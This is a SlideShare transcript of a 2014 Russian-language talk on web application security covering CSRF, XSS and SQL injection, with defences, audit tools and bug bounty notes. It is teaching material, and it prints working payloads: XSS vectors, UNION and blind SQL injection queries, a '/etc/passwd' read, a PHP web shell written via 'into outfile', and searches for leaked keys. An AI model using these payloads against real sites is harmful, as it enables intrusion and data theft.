Your SlideShare is downloading. ×
0
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Максим Кочкин (Wamba)

651

Published on

Published in: Internet
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
651
On Slideshare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
8
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Web application security Максим Кочкин
  • 2. OWASP TOP-10 (2013) 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards
  • 3. Сводная статистика по распространенности угроз Угроза Подвержено сайтов, % WhiteHat (2013) Cenzic (2013) Contextis (2013) Avg XSS 53 60 56 56 SQL Injection 7 20 14 14 CSRF 26 22 34 27 Information Leakage 55 36 60 50 Authentication & authorization 11 56 60 42
  • 4. Реальность от WHID (март 2014) Атака От общего числа, % XSS 7 SQL Injection 18 CSRF 2 Denial of Service 20 Brute Force 4 https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
  • 5. CSRF Exploitability AVERAGE Prevalence COMMON Detectability EASY Impact MODERATE
  • 6. Cross-Site Request Forgery (WASC-09) Атака, при которой жертва без согласия выполняет от своего имени запрос. Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
  • 7. Cross-Site Request Forgery Атака ● на сайте есть действие «подарить подарок» ● действие выполняется ajax-запросом при клике по ссылке, параметр — id получателя ● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка - напрямую: в мессенджере, в блоге, по почте, … - укороченная — скрыть payload - на сайте атакующего: картинка или подготовленная форма
  • 8. Cross-Site Request Forgery Атака, простейшие варианты GET http://goo.gl/d0LUAg <img src="[GET request]"> <form action="[url]" method="post">...</form> <script>form.submit()</script>
  • 9. Cross-Site Request Forgery Простые правила GET — только для получения данных Для изменения данных — POST, PUT, DELETE (это не защита!)
  • 10. Cross-Site Request Forgery Защита Ненадежные способы ● принимать только POST ● HTTP_REFERER ● подтверждение вторым запросом ● многошаговый процесс
  • 11. Cross-Site Request Forgery Защита ● токен - сессионный токен (Synchronizer Token) - двойная отправка куки (Double Submit Cookies) - зашифрованный токен (Encrypted Token) ● подтверждение (пароль, капча) ● Origin (request header) (не путать с CORS) [https://wiki.mozilla.org/Security/Origin] - iframe, embed, applet, script, form, XHR, redirect
  • 12. Cross-Site Request Forgery Аудит ● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками. ● Arachni [http://www.arachni-scanner.com/] — 4- этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены. ● Руками и глазами.
  • 13. Cross-Site Request Forgery Logout CSRF на logout? R U serious? Ahahaha! Oh, wait… http://superlogout.com/ Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
  • 14. XSS Exploitability AVERAGE Prevalence VERY WIDESPREAD Detectability EASY Impact MODERATE
  • 15. Cross-Site Scripting (WASC-08) Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы. Браузер может быть встроен в ПО и иметь доступ к его компонентам. Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
  • 16. Cross-Site Scripting Угроза ● фишинг ● кража сессии (если куки не httponly) ● кража пользовательских данных жертвы со страниц ● выполнение нежелательных действий от имени жертвы (обход CSRF-защиты)
  • 17. Cross-Site Scripting Типы ● TYPE 1 — отражённая (non-persistent, reflected) ● TYPE 2 — хранимая (persistent, stored) ● TYPE 0 — DOM-based
  • 18. Cross-Site Scripting TYPE 1, отражённая ● формируется запрос с пользовательскими данными userdata ● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации Чаще всего это ● заполнение полей формы в случае ошибки ● вывод поискового текста в форме поиска
  • 19. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 20. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 21. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 22. Cross-Site Scripting TYPE 2, хранимая ● пользовательские данные сохраняются в БД без надлежащей фильтрации ● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
  • 23. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 24. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 25. Cross-Site Scripting TYPE 3, DOM-based Атака полностью реализуется на клиенте без участия сервера ● пользователь вводит данные в URL или на страницу (формы) ● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
  • 26. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 27. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 28. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('Hello, '+r+'!'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 29. Cross-Site Scripting Меры предотвращения Правила OWASP https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet ESAPI (The OWASP Enterprise Security API) https://code.google.com/p/owasp-esapi-java/ https://code.google.com/p/owasp-esapi-php/ https://code.google.com/p/owasp-esapi-python/ httponly куки CSP (Content Security Policy)
  • 30. Cross-Site Scripting CSP CSP — Content Security Policy [Google, Mozilla] http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html Кто уже поддерживает? http://caniuse.com/#feat=contentsecuritypolicy Кто уже использует? (из alexa top-25) - mail.yandex.ru, e.mail.ru, facebook.com
  • 31. Cross-Site Scripting CSP: пример HTTP Response Header Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
  • 32. Cross-Site Scripting Аудит OWASP ZAP [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project] прокси с последующим анализом логов. OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER] очень умный, гибко настраивается, многое умеет. w3af [http://w3af.org/plugins/audit/xss]
  • 33. SQL Injection Exploitability EASY Prevalence COMMON Detectability AVERAGE Impact SEVERE
  • 34. SQL Injection (WASC-19) Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД. В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
  • 35. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 36. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 37. SQL Injection Схема атаки ● поиск точки, использующей пользовательские данные в SQL-запросе ● выполнение фингерпринтинга СУБД ● поиск уязвимости, позволяющей выполнить атаку ● эксплуатация уязвимости
  • 38. SQL Injection Фингерпринтинг СУБД ● сообщения об ошибках на страницах ● баннер (version(), @@version) - SELECT version() --> 5.6.12-56 ● диалект SQL - MySQL: WHERE id = 1 /*!50067 AND 47=47 */ - PostgreSQL: AND 82::int=82 ● поведение некоторых функций ● вакансии или собеседование :)
  • 39. SQL Injection Эксплуатация Типы ● обычная инъекция — по выводимым ошибкам ● инъекция вслепую (Blind Injection) — вывод ошибок отключен Техники ● UNION ● batched запросы ● boolean-based blind ● time-based blind
  • 40. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 and 1=1 -- OK query.php?id=1 and 1=2 -- error
  • 41. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 order by 1 -- OK query.php?id=1 order by 2 -- OK query.php?id=1 order by 3 -- OK query.php?id=1 order by 4 -- error!
  • 42. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 43. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 44. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=-1 union all select version(), user(), database() Name: 5.0.0-42 [root@localhost] Age: Main
  • 45. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database()) Name: 5.0.0-42:root@localhost:Main
  • 46. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select load_file('/etc/passwd') query.php?id=-1 union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
  • 47. SQL Injection Примеры: batched queries SELECT a FROM table WHERE id={$id} query.php?id=1;drop table ... query.php?id=1;drop user ... query.php?id=1;create user ... query.php?id=1;grant all privileges on ... query.php?id=1;select ... into outfile ...
  • 48. SQL Injection Примеры: boolean-based blind SELECT a FROM table WHERE id={$id} query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A D — номер БД в таблице schemata N — номер очередного символа A — ASCII-код символа select schema_name from information_schema.schemata — имя БД mid(dbname, N, 1) — один символ имени ord(char) — ASCII-код, удобнее сравнивать
  • 49. SQL Injection Примеры: time-based blind (double blind) SELECT a FROM table WHERE id={$id} query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true) S — в зависимости от нормального времени отклика сайта Основа — как в boolean-based blind if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
  • 50. SQL Injection Защита и превентивные меры ● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений - SELECT * FROM table WHERE columna=? AND columnb=? ● файрволлы (детекция попыток фингерпринтинга и эксплуатаций) — NAXSI, ModSecurity ● разграничение прав доступа - user: SELECT, INSERT, UPDATE, … - superuser: CREATE, DROP, ALTER, … ● валидация и фильтрация всего :)
  • 51. SQL Injection Аудит sqlmap [http://sqlmap.org/] — умеет всё. MySQL, Oracle, PostgreSQL, Microsoft SQL Server, … Знает массу техник исследования и эксплуатации. Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД. Вряд ли вам понадобится другой инструмент.
  • 52. Зачем нам всё это знать? Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого. Чтобы понимать, откуда ВНЕЗАПНО может прийти беда. Чтобы уметь разрабатывать инструменты противодействия. Чтобы уметь пользоваться инструментами и писать безопасный код. Ну и просто потому что это круто :)
  • 53. P.S.
  • 54. Bug bounty программы Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем. Bug bounty программа хорошо конвертирует blackhats в whitehats. Список таких программ https://bugcrowd.com/list-of-bug-bounty-programs/ Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
  • 55. Wamba Bug Bounty http://corp.wamba.com/ru/developer/security/ Вознаграждения ● критичные сервисы — от 5 000 до 100 000 руб. ● прочие сервисы — от 3 000 до 25 000 руб. ● зал славы
  • 56. http://corp.wamba.com/ru/ m.kochkin@wamba.com @m_ksimka Апрель 2014
  • 57. Приложение
  • 58. Атаки на браузеры http://html5sec.org/ Теперь не только <script> и <img onerror/> Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
  • 59. Атаки на браузеры cookie-bomb (by @homakov) http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted. Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com. 1 кука = 4кБ, а мы можем поставить сотни кук. 400кБ+ заголовков — веб-сервер просто не отвечает. Итого: DoS сервиса (не всего, для юзера) куками
  • 60. Социальная инженерия Self-XSS https://www.facebook.com/selfxss
  • 61. Социальная инженерия Chunkhost и Sendgrid (март 2014) https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid Как в старые добрые времена ● хакер покупает домен chunkhost.info ● звонит в поддержку sendgrid и просит сменить мыло support@chunkhost.com ● на support@chunkhost.info, поддержка говорит ОК (wtf?) ● хакер включает в sendgrid фичу BCC, инициирует сброс паролей пары акков на chunkhost, получает копию писем со ссылкой для сброса ● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
  • 62. Социальная инженерия CSS-Tricks и Media Temple (март 2014) http://shoptalkshow.com/episodes/special-one-one-hacker/ Как в еще более старые добрые времена ● хакер звонит в поддержку MT и просит поменять email от акка Криса, потому что, якобы, не помнит его ● поддержка говорит «ок, только пришлите скан своих документов» ● хакер подделывает документы и получает акк (sic!) ● кроме этого захватывает пачку других сайтов ● чувак говорит, что мог бы захватить jquery.com (тоже хостится на MT) и заразить исходники, которые используются на тысячах сайтов ● еще чувак говорит, что ничего не понимает в этих ваших sql- инъекциях и прочей ерунде, но ему это и не нужно :)
  • 63. Github, пароли в репозиториях DB config (PHP) https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code ≈60000 AWS private key https://github.com/search?q=AKIAJ&type=Code&ref=searchresults ≈1000 RSA private key https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY--- %22&ref=searchresults&s=indexed&type=Code ≈44000
  • 64. DOM-based XSS https://code.google.com/p/domxsswiki/ http://www.domxss.com/domxss/
  • 65. SQL Injection http://websec.ca/kb/sql_injection http://www.sqlinjectionwiki.com/ http://www.blackhatlibrary.net/SQL_injection http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about- sql.html
  • 66. Потренироваться http://testphp.vulnweb.com (Acunetix) http://testasp.vulnweb.com (Acunetix) http://testaspnet.vulnweb.com (Acunetix) http://testhtml5.vulnweb.com/ (Acunetix) http://demo.testfire.net (IBM) http://zero.webappsecurity.com (HP) http://crackme.cenzic.com (Cenzic) http://www.webscantest.com (NTO) http://www.dvwa.co.uk/ (RandomStorm, offline) https://code.google.com/p/webgoat/ (OWASP, offline)

×